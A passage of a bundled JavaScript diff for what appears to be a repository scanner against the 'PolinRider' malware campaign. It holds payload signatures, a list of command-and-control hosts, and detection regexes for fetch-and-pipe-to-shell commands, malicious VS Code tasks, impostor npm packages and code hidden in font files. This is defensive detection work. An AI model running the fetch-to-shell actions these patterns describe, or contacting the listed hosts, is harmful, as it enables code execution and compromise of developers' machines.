cb(er, is); + }); + } + function sync(path12, options) { + try { + return core.sync(path12, options || {}); + } catch (er) { + if ((options && options.ignoreErrors) || er.code === "EACCES") { + return false; + } else { + throw er; + } + } + } + }, +}); + +// node_modules/which/which.js +var require_which = __commonJS({ + "node_modules/which/which.js"(exports, module) { + var isWindows = + process.platform === "win32" || + process.env.OSTYPE === "cygwin" || + process.env.OSTYPE === "msys"; + var path12 = __require("path"); + var COLON = isWindows ? ";" : ":"; + var isexe = require_isexe(); + var getNotFoundError = (cmd) => + Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" }); + var getPathInfo = (cmd, opt) => { + const colon = opt.colon || COLON; + const pathEnv = + cmd.match(/\//) || (isWindows && cmd.match(/\\/)) + ? [""] + : [ + // windows always checks the cwd first + ...(isWindows ? [process.cwd()] : []), + ...( + opt.path || + process.env.PATH /* istanbul ignore next: very unusual */ || + "" + ).split(colon), + ]; + const pathExtExe = isWindows + ? opt.pathExt || process.env.PATHEXT || ".EXE;.CMD;.BAT;.COM" + : ""; + const pathExt = isWindows ? pathExtExe.split(colon) : [""]; + if (isWindows) { + if (cmd.indexOf(".") !== -1 && pathExt[0] !== "") pathExt.unshift(""); + } + return { + pathEnv, + pathExt, + pathExtExe, + }; + }; + var which = (cmd, opt, cb) => { + if (typeof opt === "function") { + cb = opt; + opt = {}; + } + if (!opt) opt = {}; + const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt); + const found = []; + const step = (i2) => + new Promise((resolve, reject) => { + if (i2 === pathEnv.length) + return opt.all && found.length + ? resolve(found) + : reject(getNotFoundError(cmd)); + const ppRaw = pathEnv[i2]; + const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw; + const pCmd = path12.join(pathPart, cmd); + const p = + !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd; + resolve(subStep(p, i2, 0)); + }); + const subStep = (p, i2, ii) => + new Promise((resolve, reject) => { + if (ii === pathExt.length) return resolve(step(i2 + 1)); + const ext = pathExt[ii]; + isexe(p + ext, { pathExt: pathExtExe }, (er, is) => { + if (!er && is) { + if (opt.all) found.push(p + ext); + else return resolve(p + ext); + } + return resolve(subStep(p, i2, ii + 1)); + }); + }); + return cb ? step(0).then((res) => cb(null, res), cb) : step(0); + }; + var whichSync = (cmd, opt) => { + opt = opt || {}; + const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt); + const found = []; + for (let i2 = 0; i2 < pathEnv.length; i2++) { + const ppRaw = pathEnv[i2]; + const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw; + const pCmd = path12.join(pathPart, cmd); + const p = + !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd; + for (let j = 0; j < pathExt.length; j++) { + const cur = p + pathExt[j]; + try { + const is = isexe.sync(cur, { pathExt: pathExtExe }); + if (is) { + if (opt.all) found.push(cur); + else return cur; + } + } catch (ex) {} + } + } + if (opt.all && found.length) return found; + if (opt.nothrow) return null; + throw getNotFoundError(cmd); + }; + module.exports = which; + which.sync = whichSync; + }, +}); + +// node_modules/path-key/index.js +var require_path_key = __commonJS({ + "node_modules/path-key/index.js"(exports, module) { + "use strict"; + var pathKey2 = (options = {}) => { + const environment = options.env || process.env; + const platform2 = options.platform || process.platform; + if (platform2 !== "win32") { + return "PATH"; + } + return ( + Object.keys(environment) + .reverse() + .find((key) => key.toUpperCase() === "PATH") || "Path" + ); + }; + module.exports = pathKey2; + module.exports.default = pathKey2; + }, +}); + +// node_modules/cross-spawn/lib/util/resolveCommand.js +var require_resolveCommand = __commonJS({ + "node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) { + "use strict"; + var path12 = __require("path"); + var which = require_which(); + var getPathKey = require_path_key(); + function resolveCommandAttempt(parsed, withoutPathExt) { + const env = parsed.options.env || process.env; + const cwd = process.cwd(); + const hasCustomCwd = parsed.options.cwd != null; + const shouldSwitchCwd = + hasCustomCwd && process.chdir !== void 0 && !process.chdir.disabled; + if (shouldSwitchCwd) { + try { + process.chdir(parsed.options.cwd); + } catch (err) {} + } + let resolved; + try { + resolved = which.sync(parsed.command, { + path: env[getPathKey({ env })], + pathExt: withoutPathExt ? path12.delimiter : void 0, + }); + } catch (e) { + } finally { + if (shouldSwitchCwd) { + process.chdir(cwd); + } + } + if (resolved) { + resolved = path12.resolve( + hasCustomCwd ? parsed.options.cwd : "", + resolved, + ); + } + return resolved; + } + function resolveCommand(parsed) { + return ( + resolveCommandAttempt(parsed) || resolveCommandAttempt(parsed, true) + ); + } + module.exports = resolveCommand; + }, +}); + +// node_modules/cross-spawn/lib/util/escape.js +var require_escape = __commonJS({ + "node_modules/cross-spawn/lib/util/escape.js"(exports, module) { + "use strict"; + var metaCharsRegExp = /([()\][%!^"`<>&|;, *?])/g; + function escapeCommand(arg) { + arg = arg.replace(metaCharsRegExp, "^$1"); + return arg; + } + function escapeArgument(arg, doubleEscapeMetaChars) { + arg = `${arg}`; + arg = arg.replace(/(?=(\\+?)?)\1"/g, '$1$1\\"'); + arg = arg.replace(/(?=(\\+?)?)\1$/, "$1$1"); + arg = `"${arg}"`; + arg = arg.replace(metaCharsRegExp, "^$1"); + if (doubleEscapeMetaChars) { + arg = arg.replace(metaCharsRegExp, "^$1"); + } + return arg; + } + module.exports.command = escapeCommand; + module.exports.argument = escapeArgument; + }, +}); + +// node_modules/shebang-regex/index.js +var require_shebang_regex = __commonJS({ + "node_modules/shebang-regex/index.js"(exports, module) { + "use strict"; + module.exports = /^#!(.*)/; + }, +}); + +// node_modules/shebang-command/index.js +var require_shebang_command = __commonJS({ + "node_modules/shebang-command/index.js"(exports, module) { + "use strict"; + var shebangRegex = require_shebang_regex(); + module.exports = (string = "") => { + const match = string.match(shebangRegex); + if (!match) { + return null; + } + const [path12, argument] = match[0].replace(/#! ?/, "").split(" "); + const binary = path12.split("/").pop(); + if (binary === "env") { + return argument; + } + return argument ? `${binary} ${argument}` : binary; + }; + }, +}); + +// node_modules/cross-spawn/lib/util/readShebang.js +var require_readShebang = __commonJS({ + "node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) { + "use strict"; + var fs7 = __require("fs"); + var shebangCommand = require_shebang_command(); + function readShebang(command) { + const size = 150; + const buffer = Buffer.alloc(size); + let fd; + try { + fd = fs7.openSync(command, "r"); + fs7.readSync(fd, buffer, 0, size, 0); + fs7.closeSync(fd); + } catch (e) {} + return shebangCommand(buffer.toString()); + } + module.exports = readShebang; + }, +}); + +// node_modules/cross-spawn/lib/parse.js +var require_parse = __commonJS({ + "node_modules/cross-spawn/lib/parse.js"(exports, module) { + "use strict"; + var path12 = __require("path"); + var resolveCommand = require_resolveCommand(); + var escape = require_escape(); + var readShebang = require_readShebang(); + var isWin = process.platform === "win32"; + var isExecutableRegExp = /\.(?:com|exe)$/i; + var isCmdShimRegExp = /node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i; + function detectShebang(parsed) { + parsed.file = resolveCommand(parsed); + const shebang = parsed.file && readShebang(parsed.file); + if (shebang) { + parsed.args.unshift(parsed.file); + parsed.command = shebang; + return resolveCommand(parsed); + } + return parsed.file; + } + function parseNonShell(parsed) { + if (!isWin) { + return parsed; + } + const commandFile = detectShebang(parsed); + const needsShell = !isExecutableRegExp.test(commandFile); + if (parsed.options.forceShell || needsShell) { + const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile); + parsed.command = path12.normalize(parsed.command); + parsed.command = escape.command(parsed.command); + parsed.args = parsed.args.map((arg) => + escape.argument(arg, needsDoubleEscapeMetaChars), + ); + const shellCommand = [parsed.command].concat(parsed.args).join(" "); + parsed.args = ["/d", "/s", "/c", `"${shellCommand}"`]; + parsed.command = process.env.comspec || "cmd.exe"; + parsed.options.windowsVerbatimArguments = true; + } + return parsed; + } + function parse(command, args, options) { + if (args && !Array.isArray(args)) { + options = args; + args = null; + } + args = args ? args.slice(0) : []; + options = Object.assign({}, options); + const parsed = { + command, + args, + options, + file: void 0, + original: { + command, + args, + }, + }; + return options.shell ? parsed : parseNonShell(parsed); + } + module.exports = parse; + }, +}); + +// node_modules/cross-spawn/lib/enoent.js +var require_enoent = __commonJS({ + "node_modules/cross-spawn/lib/enoent.js"(exports, module) { + "use strict"; + var isWin = process.platform === "win32"; + function notFoundError(original, syscall) { + return Object.assign(new Error(`${syscall} ${original.command} ENOENT`), { + code: "ENOENT", + errno: "ENOENT", + syscall: `${syscall} ${original.command}`, + path: original.command, + spawnargs: original.args, + }); + } + function hookChildProcess(cp, parsed) { + if (!isWin) { + return; + } + const originalEmit = cp.emit; + cp.emit = function (name, arg1) { + if (name === "exit") { + const err = verifyENOENT(arg1, parsed); + if (err) { + return originalEmit.call(cp, "error", err); + } + } + return originalEmit.apply(cp, arguments); + }; + } + function verifyENOENT(status, parsed) { + if (isWin && status === 1 && !parsed.file) { + return notFoundError(parsed.original, "spawn"); + } + return null; + } + function verifyENOENTSync(status, parsed) { + if (isWin && status === 1 && !parsed.file) { + return notFoundError(parsed.original, "spawnSync"); + } + return null; + } + module.exports = { + hookChildProcess, + verifyENOENT, + verifyENOENTSync, + notFoundError, + }; + }, +}); + +// node_modules/cross-spawn/index.js +var require_cross_spawn = __commonJS({ + "node_modules/cross-spawn/index.js"(exports, module) { + "use strict"; + var cp = __require("child_process"); + var parse = require_parse(); + var enoent = require_enoent(); + function spawn2(command, args, options) { + const parsed = parse(command, args, options); + const spawned = cp.spawn(parsed.command, parsed.args, parsed.options); + enoent.hookChildProcess(spawned, parsed); + return spawned; + } + function spawnSync2(command, args, options) { + const parsed = parse(command, args, options); + const result = cp.spawnSync(parsed.command, parsed.args, parsed.options); + result.error = + result.error || enoent.verifyENOENTSync(result.status, parsed); + return result; + } + module.exports = spawn2; + module.exports.spawn = spawn2; + module.exports.sync = spawnSync2; + module.exports._parse = parse; + module.exports._enoent = enoent; + }, +}); + +// src/safety.js +import Module from "node:module"; +var ERR = "PolinRider safety:"; +function makeBlocked(what) { + return function blocked() { + throw new EvalError( + `${ERR} dynamic code generation via ${what} is disabled`, + ); + }; +} +function lockGlobal(name, value) { + try { + Object.defineProperty(globalThis, name, { + value, + configurable: false, + writable: false, + enumerable: false, + }); + return true; + } catch { + return false; + } +} +lockGlobal("eval", makeBlocked("eval")); +var RealFunction = Function; +var BlockedFunction = makeBlocked("Function"); +try { + Object.defineProperty(BlockedFunction, "prototype", { + value: RealFunction.prototype, + writable: false, + }); +} catch {} +lockGlobal("Function", BlockedFunction); +function blockConstructorOf(sample) { + try { + const proto = Object.getPrototypeOf(sample); + Object.defineProperty(proto, "constructor", { + value: BlockedFunction, + configurable: true, + writable: true, + }); + } catch {} +} +blockConstructorOf(function () {}); +blockConstructorOf(async function () {}); +blockConstructorOf(function* () {}); +blockConstructorOf(async function* () {}); +var originalLoad = Module._load; +Module._load = function patchedLoad(request, ...rest) { + if (request === "vm" || request === "node:vm") { + throw new Error(`${ERR} the node:vm module is blocked`); + } + return originalLoad.call(this, request, ...rest); +}; +var blockBinding = function blockedBinding() { + throw new Error(`${ERR} process.binding is blocked`); +}; +for (const key of ["binding", "_linkedBinding"]) { + try { + Object.defineProperty(process, key, { + value: blockBinding, + configurable: false, + writable: false, + }); + } catch {} +} + +// src/ci.js +import fs6 from "node:fs"; +import fsp from "node:fs/promises"; +import path11 from "node:path"; +import { fileURLToPath as fileURLToPath3 } from "node:url"; + +// src/scanner.js +import fs3 from "node:fs/promises"; +import { existsSync } from "node:fs"; +import path3 from "node:path"; + +// src/signatures.js +var JS_VARIANTS = [ + { + id: "original", + label: "PolinRider payload (original variant)", + confidence: "high", + signature: "rmcej%otb%", + // appears as ("rmcej%otb%",2857687) + decoder: "_$_1e42", + seeds: ["2857687", "2667686"], + startRe: /global\s*\[\s*(['"])!\1\s*\]\s*=/, + }, + { + id: "rotated", + label: "PolinRider payload (rotated variant)", + confidence: "high", + signature: "Cot%3t=shtP", + decoder: "MDy", + seeds: ["1111436", "3896884"], + startRe: /global\s*\[\s*(['"])_V\1\s*\]\s*=/, + }, +]; +var EXPORT_MARKER_RE = /(?:export\s+default|module\.exports)/g; +var GENERIC_HEURISTIC = { + globalAssignRe: /global\s*\[\s*(['"]).{1,12}?\1\s*\]\s*=/, + obfArrayRe: /\bvar\s+_\$?_?[A-Za-z0-9$_]+\s*=\s*\[/, + // e.g. var _$_1e42=[...] + evalRe: /\beval\s*\(/, +}; +var JS_EXTENSIONS = [".js", ".jsx", ".ts", ".tsx", ".mjs", ".cjs"]; +var C2_HOSTS = [ + "default-configuration.vercel.app", + "vscode-settings-bootstrap.vercel.app", + "vscode-settings-config.vercel.app", + "vscode-bootstrapper.vercel.app", + "vscode-load-config.vercel.app", + "260120.vercel.app", +]; +var C2_HOST_RES = [ + /vscode-settings-[a-z0-9-]*\.vercel\.app/i, + /vscode-[a-z0-9-]*(?:config|bootstrap|loader?)[a-z0-9-]*\.vercel\.app/i, +]; +var NET_FETCH_RES = [ + /\bcurl\b/i, + /\bwget\b/i, + /\bInvoke-WebRequest\b/i, + /\biwr\b/i, + /\bNew-Object\s+Net\.WebClient/i, + /\bDownloadString\b/i, +]; +var PIPE_SHELL_RES = [ + /\|\s*(?:bash|sh|zsh|dash)\b/i, + /\b(?:bash|sh|zsh|dash)\s+-c\b/i, + /\bIEX\b/i, + // PowerShell Invoke-Expression + /\bInvoke-Expression\b/i, + /\bnode\b\s+-e\b/i, + /\beval\b/i, +]; +var ANY_URL_RE = /https?:\/\/[^\s"'`)]+/i; +var INTERPRETER_RE = + /\b(?:node|deno|bun|python3?|ruby|php|osascript|bash|sh|zsh|dash|pwsh|powershell|cmd)\b/i; +var ASSET_EXEC_RE = + /(?:public[\\/]+fonts|[\\/]fonts[\\/]|\bstatic[\\/]|\bassets[\\/])|\.(?:woff2?|ttf|eot|otf)\b/i; +var FONT_EXTENSIONS = [".woff2", ".woff", ".ttf", ".otf", ".eot", ".ttc"]; +var FONT_MAGIC = { + woff2: [119, 79, 70, 50], + // wOF2 + woff: [119, 79, 70, 70], + // wOFF + otf: [79, 84, 84, 79], + // OTTO + ttf: [0, 1, 0, 0], + ttc: [116, 116, 99, 102], + // ttcf + true: [116, 114, 117, 101], + // 'true' (legacy TrueType) + eot: null, + // EOT has no single stable magic; treat presence-only +}; +var FONT_BADNESS_RES = [ + /eval\s*\(/, + /global\s*\[/, + /require\s*\(/, + /child_process/, + /process\.(?:env|binding)/, + /function\s*\(/, + /\bnode\b\s+-e\b/, +]; +var FA_FONT_NAME_RE = + /^fa-(?:brands|solid|regular|light|thin|duotone)-\d+\.(?:eot|svg|ttf|otf|woff2?)$/i; +var FONT_DROP_SIDECARS = ["readme.md"]; +var FONT_DIRS = [ + "public/fonts", + "static", + "static/fonts", + "assets/fonts", + "src/assets/fonts", +]; +var FONT_REF_EXTENSIONS = [ + ".css", + ".scss", + ".sass", + ".less", + ".styl", + ".html", + ".htm", + ".vue", + ".svelte", + ".js", + ".jsx", + ".ts", + ".tsx", + ".mjs", + ".cjs", + ".json", +]; +var IMPOSTOR_DEPS = [ + "tailwindcss-style-animate", + "tailwind-mainanimation", + "tailwind-autoanimation", +]; +var SUSPICIOUS_LIFECYCLE_SCRIPTS = ["preinstall", "install", "postinstall"]; +var ARTIFACT_FILES = [ + "temp_auto_push.bat", + "temp_interactive_push.bat", + "config.bat", + "branch_structure.json", +]; +var GITIGNORE_INJECTED = [ + "config.bat", + "temp_auto_push.bat", + "temp_interactive_push.bat", + "branch_structure.json", +]; +var ENV_PATTERNS = [ + ".env", + ".env.local", + ".env.*.local", + ".env.production", + ".env.development", +]; +function isC2Host(text) { + if (typeof text !== "string") return false; + if (C2_HOSTS.some((h2) => text.includes(h2))) return true; + return C2_HOST_RES.some((re) => re.test(text)); +} +function isFetchToShell(text) { + if (typeof text !== "string") return false; + const fetches = + NET_FETCH_RES.some((re) => re.test(text)) || ANY_URL_RE.test(text); + const pipes = PIPE_SHELL_RES.some((re) => re.test(text)); + return fetches && pipes; +} +function commandExecutesAsset(text) { + if (typeof text !== "string") return false; + return INTERPRETER_RE.test(text) && ASSET_EXEC_RE.test(text); +} +function isFaFamilyName(basename) { + return typeof basename === "string" && FA_FONT_NAME_RE.test(basename); +} +function isFontDropSidecar(basename) { + return ( + typeof basename === "string" && + FONT_DROP_SIDECARS.includes(basename.toLowerCase()) + ); +} + +// src/jsonc.js +function parseJsonc(text) { + let i2 = 0; + const n2 = text.length; + const fail = (msg) => { + const e = new Error(`JSONC parse error at offset ${i2}: ${msg}`); + e.offset = i2; + return e; + }; + function skipWs() { + while (i2 < n2) { + const c3 = text[i2]; + if ( + c3 === " " || + c3 === " " || + c3 === "\n" || + c3 === "\r" || + c3 === "\uFEFF" + ) { + i2++; + continue; + } + if (c3 === "/" && text[i2 + 1] === "/") { + i2 += 2; + while (i2 < n2 && text[i2] !== "\n") i2++; + continue; + } + if (c3 === "/" && text[i2 + 1] === "*") { + i2 += 2; + while (i2 < n2 && !(text[i2] === "*" && text[i2 + 1] === "/")) i2++; + i2 += 2; + continue; + } + break; + } + } + function parseString() { + const start = i2; + if (text[i2] !== '"') throw fail("expected string"); + i2++; + while (i2 < n2) { + const c3 = text[i2]; + if (c3 === "\\") { + i2 += 2; + continue; + } + if (c3 === '"') { + i2++; + break; + } + i2++; + } + const raw = text.slice(start, i2); + let value; + try { + value = JSON.parse(raw); + } catch { + throw fail("invalid string literal"); + } + return { type: "string", value, start, end: i2 }; + } + function parseNumber2() { + const start = i2; + const m = /^-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?/.exec( + text.slice(i2), + ); + if (!m) throw fail("invalid number"); + i2 += m[0].length; + return { type: "number", value: Number(m[0]), start, end: i2 }; + } + function parseObject() { + const start = i2; + i2++; + const members = []; + const value = {}; + skipWs(); + while (text[i2] !== "}") { + if (i2 >= n2) throw fail("unterminated object"); + const keyNode = parseString(); + skipWs(); + if (text[i2] !== ":") throw fail("expected ':'"); + i2++; + const valueNode = parseValue(); + members.push({ key: keyNode.value, keyNode, valueNode }); + value[keyNode.value] = valueNode.value; + skipWs(); + if (text[i2] === ",") { + i2++; + skipWs(); + } else break; + } + if (text[i2] !== "}") throw fail("expected '}'"); + i2++; + return { type: "object", members, value, start, end: i2 }; + } + function parseArray() { + const start = i2; + i2++; + const elements = []; + const value = []; + skipWs(); + while (text[i2] !== "]") { + if (i2 >= n2) throw fail("unterminated array"); + const el = parseValue(); + elements.push(el); + value.push(el.value); + skipWs(); + if (text[i2] === ",") { + i2++; + skipWs(); + } else break; + } + if (text[i2] !== "]") throw fail("expected ']'"); + i2++; + return { type: "array", elements, value, start, end: i2 }; + } + function parseValue() { + skipWs(); + if (i2 >= n2) throw fail("unexpected end of input"); + const c3 = text[i2]; + if (c3 === "{") return parseObject(); + if (c3 === "[") return parseArray(); + if (c3 === '"') return parseString(); + if (c3 === "-" || (c3 >= "0" && c3 <= "9")) return parseNumber2(); + if (text.startsWith("true", i2)) { + const s = i2; + i2 += 4; + return { type: "boolean", value: true, start: s, end: i2 }; + } + if (text.startsWith("false", i2)) { + const s = i2; + i2 += 5; + return { type: "boolean", value: false, start: s, end: i2 }; + } + if (text.startsWith("null", i2)) { + const s = i2; + i2 += 4; + return { type: "null", value: null, start: s, end: i2 }; + } + throw fail(`unexpected character ${JSON.stringify(c3)}`); + } + try { + skipWs(); + const ast = parseValue(); + skipWs(); + if (i2 < n2) throw fail("trailing content after top-level value"); + return { ok: true, value: ast.value, ast, error: null }; + } catch (error) { + return { ok: false, value: void 0, ast: null, error }; + } +} + +// src/walk.js +import fs from "node:fs/promises"; +import path from "node:path"; +var DEFAULT_EXCLUDE = /* @__PURE__ */ new Set([".git", "node_modules"]); +async function* walkFiles(root, { exclude = DEFAULT_EXCLUDE } = {}) { + let entries; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch { + return; + } + for (const ent of entries) { + if (ent.isSymbolicLink()) continue; + const full = path.join(root, ent.name); + if (ent.isDirectory()) { + if (exclude.has(ent.name)) continue; + yield* walkFiles(full, { exclude }); + } else if (ent.isFile()) { + yield full; + } + } +} +async function collectByExtension(root, extensions, opts) { + const exts = new Set(extensions.map((e) => e.toLowerCase())); + const out = []; + for await (const file of walkFiles(root, opts)) { + if (exts.has(path.extname(file).toLowerCase())) out.push(file); + } + return out; +} + +// src/fonts.js +import fs2 from "node:fs/promises"; +import path2 from "node:path"; +var REF_EXCLUDE = /* @__PURE__ */ new Set([...DEFAULT_EXCLUDE, ".vscode"]); +var NO_RELIABLE_MAGIC = /* @__PURE__ */ new Set([".eot"]); +var BYTE_SCAN_LIMIT = 256 * 1024; +var REF_HAYSTACK_LIMIT = 8 * 1024 * 1024; +function readMagic(buf) { + if (!Buffer.isBuffer(buf) || buf.length < 4) return "unknown"; + for (const [fmt, sig] of Object.entries(FONT_MAGIC)) { + if (!sig) continue; + if (sig.every((b, idx) => buf[idx] === b)) return fmt; + } + return "unknown"; +} +function parseFontStructure(buf) { + const format2 = readMagic(buf); + if (format2 === "unknown") { + return { + valid: false, + format: format2, + reason: "no recognizable font magic bytes", + }; + } + if (format2 === "woff" || format2 === "woff2") { + if ( + buf.length >= 14 && + buf.readUInt32BE(8) === buf.length && + buf.readUInt16BE(12) > 0 + ) { + return { valid: true, format: format2 }; + } + return { + valid: false, + format: format2, + reason: `malformed ${format2} header (declared length or table count invalid)`, + }; + } + if (format2 === "ttc") { + if (buf.length >= 12) { + const numFonts = buf.readUInt32BE(8); + if (numFonts >= 1 && numFonts <= 256 && 12 + numFonts * 4 <= buf.length) { + let ok = true; + for (let i2 = 0; i2 < numFonts; i2++) { + if (buf.readUInt32BE(12 + i2 * 4) + 12 > buf.length) { + ok = false; + break; + } + } + if (ok) return { valid: true, format: format2 }; + } + } + return { + valid: false, + format: format2, + reason: "malformed TrueType Collection header", + }; + } + const numTables = buf.length >= 6 ? buf.readUInt16BE(4) : 0; + const dirEnd = 12 + numTables * 16; + if (numTables < 1 || numTables > 4096 || dirEnd > buf.length) { + return { + valid: false, + format: format2, + reason: "malformed font table directory", + }; + } + for (let i2 = 0; i2 < numTables; i2++) { + const rec = 12 + i2 * 16; + if (buf.readUInt32BE(rec + 8) + buf.readUInt32BE(rec + 12) > buf.length) { + return { + valid: false, + format: format2, + reason: "font table points past end of file", + }; + } + } + return { valid: true, format: format2 }; +} +function scanCodeStrings(buf) { + const window = buf + .subarray(0, Math.min(buf.length, BYTE_SCAN_LIMIT)) + .toString("latin1"); + return FONT_BADNESS_RES.some((re) => re.test(window)) + ? [ + "contains embedded code-like strings a real font never has (eval/require/global[/etc.)", + ] + : []; +} +function looksSuspicious(buf, ext = "") { + if (NO_RELIABLE_MAGIC.has(ext.toLowerCase())) { + const reasons = scanCodeStrings(buf); + return { + bad: reasons.length > 0, + magic: readMagic(buf), + reasons, + hasCodeStrings: reasons.length > 0, + }; + } + const struct = parseFontStructure(buf); + if (struct.valid) { + return { + bad: false, + magic: struct.format, + reasons: [], + hasCodeStrings: false, + }; + } + const codeReasons = scanCodeStrings(buf); + return { + bad: true, + magic: struct.format, + reasons: [struct.reason, ...codeReasons], + hasCodeStrings: codeReasons.length > 0, + }; +} +async function collectFontReferences(repoDir) { + const files = await collectByExtension(repoDir, FONT_REF_EXTENSIONS, { + exclude: REF_EXCLUDE, + }); + let haystack = ""; + for (const f of files) { + if (haystack.length > REF_HAYSTACK_LIMIT) break; + try { + haystack += "\n" + (await fs2.readFile(f, "utf8")).toLowerCase(); + } catch {} + } + return haystack; +} +function isReferenced(haystack, fontPath) { + return haystack.includes(path2.basename(fontPath).toLowerCase()); +} + +// src/exclude.js +var normalize = (p) => + (p || "").replace(/\\/g, "/").replace(/^\.\//, "").replace(/\/+$/, ""); +function globToRegExp(glob) { + let re = ""; + for (let i2 = 0; i2 < glob.length; i2++) { + const c3 = glob[i2]; + if (c3 === "*") { + if (glob[i2 + 1] === "*") { + re += ".*"; + i2++; + } else { + re += "[^/]*"; + } + } else if (c3 === "?") { + re += "[^/]"; + } else if ("\\^$.|+()[]{}".includes(c3)) { + re += "\\" + c3; + } else { + re += c3; + } + } + return new RegExp("^" + re + "$"); +} +function buildExcluder(patterns) { + const list = Array.isArray(patterns) + ? patterns + : String(patterns || "").split(/[,\n]/); + const specs = list + .map((p) => normalize(p.trim?.() ?? p)) + .filter(Boolean) + .map((n2) => ({ prefix: n2, re: globToRegExp(n2) })); + if (specs.length === 0) return () => false; + return (rel) => { + const r = (rel || "").replace(/\\/g, "/"); + return specs.some( + (s) => r === s.prefix || r.startsWith(s.prefix + "/") || s.re.test(r), + ); + }; +} + +// src/scanner.js +async function scanRepo(repoDir, opts = {}) { + const findings = []; + const rel = (p) => path3.relative(repoDir, p) || path3.basename(p); + const matchExcluded = buildExcluder(opts.exclude); + const isExcluded = (abs) => + matchExcluded(path3.relative(repoDir, abs).split(path3.sep).join("/")); + await detectJsPayloads(repoDir, findings, rel, isExcluded); + await detectVscode(repoDir, findings, rel, isExcluded); + await detectFonts(repoDir, findings, rel, isExcluded); + await detectPackageJson(repoDir, findings, isExcluded); + await detectArtifacts(repoDir, findings, isExcluded); + const coPresenceAmplified = + existsSync(path3.join(repoDir, ".vscode", "tasks.json")) && + existsSync(path3.join(repoDir, ".vscode", "launch.json")) && + FONT_DIRS.some((d) => existsSync(path3.join(repoDir, d))); + const hasContentConfirmed = findings.some((f) => f.contentConfirmed); + let severity = "clean"; + if (hasContentConfirmed) severity = "infected"; + else if (findings.length > 0 || coPresenceAmplified) severity = "suspicious"; + const manualReview = findings + .filter((f) => f.action === "manual-review") + .map((f) => `${f.file}: ${f.description}`); + return { + repoDir, + severity, + hasContentConfirmed, + coPresenceAmplified, + findings, + manualReview, + }; +} +function locatePayloadOffset(text, variant) { + let lastExport = -1; + const re = new RegExp(EXPORT_MARKER_RE.source, "g"); + let m; + while ((m = re.exec(text))) lastExport = m.index; + const from = lastExport >= 0 ? lastExport : 0; + const tailMatch = new RegExp(variant.startRe.source).exec(text.slice(from)); + if (tailMatch) return from + tailMatch.index; + const anyMatch = new RegExp(variant.startRe.source).exec(text); + return anyMatch ? anyMatch.index : -1; +} +async function detectJsPayloads(repoDir, findings, rel, isExcluded) { + const files = await collectByExtension(repoDir, JS_EXTENSIONS); + for (const file of files) { + if (isExcluded(file)) continue; + let text; + try { + text = await fs3.readFile(file, "utf8"); + } catch { + continue; + } + let matchedKnown = false; + for (const variant of JS_VARIANTS) { + const confirmed = + text.includes(variant.signature) && + variant.seeds.some((s) => text.includes(s)); + if (!confirmed) continue; + matchedKnown = true; + const offset = locatePayloadOffset(text, variant); + const canStrip = offset > 0; + findings.push({ + id: `js.payload.${variant.id}`, + category: "js", + file: rel(file), + confidence: "high", + action: canStrip ? "strip-js-payload" : "manual-review", + contentConfirmed: true, + description: canStrip + ? `${variant.label} appended at offset ${offset} \u2014 will strip from there to EOF` + : `${variant.label} detected but its start offset could not be located safely \u2014 strip manually`, + edit: canStrip + ? { absPath: file, offset, variantId: variant.id } + : void 0, + }); + break; + } + if (matchedKnown) continue; + let lastExport = -1; + const re = new RegExp(EXPORT_MARKER_RE.source, "g"); + let m; + while ((m = re.exec(text))) lastExport = m.index; + const tail = lastExport >= 0 ? text.slice(lastExport) : text; + const h2 = GENERIC_HEURISTIC; + if ( + h2.globalAssignRe.test(tail) && + h2.obfArrayRe.test(tail) && + h2.evalRe.test(tail) + ) { + findings.push({ + id: "js.payload.heuristic", + category: "js", + file: rel(file), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: + "Obfuscated code appended after the last export (global[...] assignment + obfuscated array + eval). Possible unknown PolinRider variant \u2014 review manually.", + }); + } + } +} +function classifyVscodeEntry(entryValue) { + const hay = JSON.stringify(entryValue ?? ""); + if (isC2Host(hay)) + return { bad: true, reason: "references a known PolinRider C2 host" }; + if (isFetchToShell(hay)) + return { + bad: true, + reason: "fetches a remote script and pipes it to a shell", + }; + if (commandExecutesAsset(hay)) + return { + bad: true, + reason: + "executes a font/asset file as code (e.g. `node ./public/fonts/\u2026`)", + }; + if (entryValue?.runOptions?.runOn === "folderOpen") { + if (ANY_URL_RE.test(hay)) + return { + bad: true, + reason: "auto-runs on folderOpen and contacts an external URL", + }; + if (INTERPRETER_RE.test(hay)) + return { + bad: true, + reason: "auto-runs a script interpreter on folderOpen", + }; + } + return { bad: false }; +} +async function detectVscode(repoDir, findings, rel, isExcluded) { + const vscodeDir = path3.join(repoDir, ".vscode"); + if (!existsSync(vscodeDir) || isExcluded(vscodeDir)) return; + const targets = [ + { name: "tasks.json", arrayKey: "tasks" }, + { name: "launch.json", arrayKey: "configurations" }, + ]; + const reasons = /* @__PURE__ */ new Set(); + for (const { name, arrayKey } of targets) { + const file = path3.join(vscodeDir, name); + if (!existsSync(file) || isExcluded(file)) continue; + let text; + try { + text = await fs3.readFile(file, "utf8"); + } catch { + continue; + } + const parsed = parseJsonc(text); + if (!parsed.ok) { + if ( + isC2Host(text) || + isFetchToShell(text) || + commandExecutesAsset(text) + ) { + reasons.add(`malicious content in ${name}`); + } + continue; + } + const arr = Array.isArray(parsed.value?.[arrayKey]) + ? parsed.value[arrayKey] + : []; + for (const entry of arr) { + const c3 = classifyVscodeEntry(entry); + if (c3.bad) reasons.add(`${name}: ${c3.reason}`); + } + } + if (reasons.size === 0) return; + findings.push({ + id: "vscode.malicious", + category: "vscode", + file: ".vscode", + confidence: "high", + action: "remove-dir", + contentConfirmed: true, + description: `Malicious .vscode configuration (${[...reasons].join("; ")}) \u2014 removing the entire .vscode directory`, + edit: { absPath: vscodeDir }, + }); +} +function fontDirToRemove(repoDir, fontAbsPath) { 